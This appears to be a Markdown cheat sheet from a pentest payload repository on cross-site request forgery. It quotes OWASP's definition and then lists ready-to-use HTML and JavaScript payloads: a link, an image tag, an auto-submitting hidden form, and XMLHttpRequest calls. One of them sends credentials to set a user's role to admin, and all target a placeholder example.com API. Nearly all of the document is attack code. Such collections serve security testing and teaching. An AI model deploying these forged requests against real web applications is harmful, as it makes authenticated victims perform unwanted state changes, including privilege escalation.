93 lines
2.7 KiB
Markdown
93 lines
2.7 KiB
Markdown
# Cross-Site Request Forgery
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> Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
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## Summary
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* [Methodology](#methodology)
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* [Payloads](#payloads)
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## Methodology
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## Payloads
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### HTML GET – Requiring User Interaction for Proof-of-Concept
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```html
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<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
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```
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### HTML GET (No User Interaction)
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```html
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<img src="http://www.example.com/api/setusername?username=CSRFd">
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```
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### HTML POST – Requiring User Interaction for Proof-of-Concept
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```html
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<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
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<input name="username" type="hidden" value="CSRFd" />
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<input type="submit" value="Submit Request" />
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</form>
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```
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### HTML POST (AutoSubmit – No User Interaction)
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```html
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<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
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<input name="username" type="hidden" value="CSRFd" />
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<input type="submit" value="Submit Request" />
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</form>
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<script>
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document.getElementById("autosubmit").submit();
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</script>
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```
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### JSON GET – Simple Request
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("GET", "http://www.example.com/api/currentuser");
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xhr.send();
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</script>
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```
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### JSON POST – Simple Request
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "http://www.example.com/api/setrole");
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//application/json is not allowed in a simple request. text/plain is the default
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xhr.setRequestHeader("Content-Type", "text/plain");
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//You will probably want to also try one or both of these
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//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
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//xhr.setRequestHeader("Content-Type", "multipart/form-data");
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xhr.send('{"role":admin}');
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</script>
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```
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### JSON POST – Complex Request
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "http://www.example.com/api/setrole");
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xhr.withCredentials = true;
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xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
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xhr.send('{"role":admin}');
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</script>
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```
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## References
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- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
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- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) |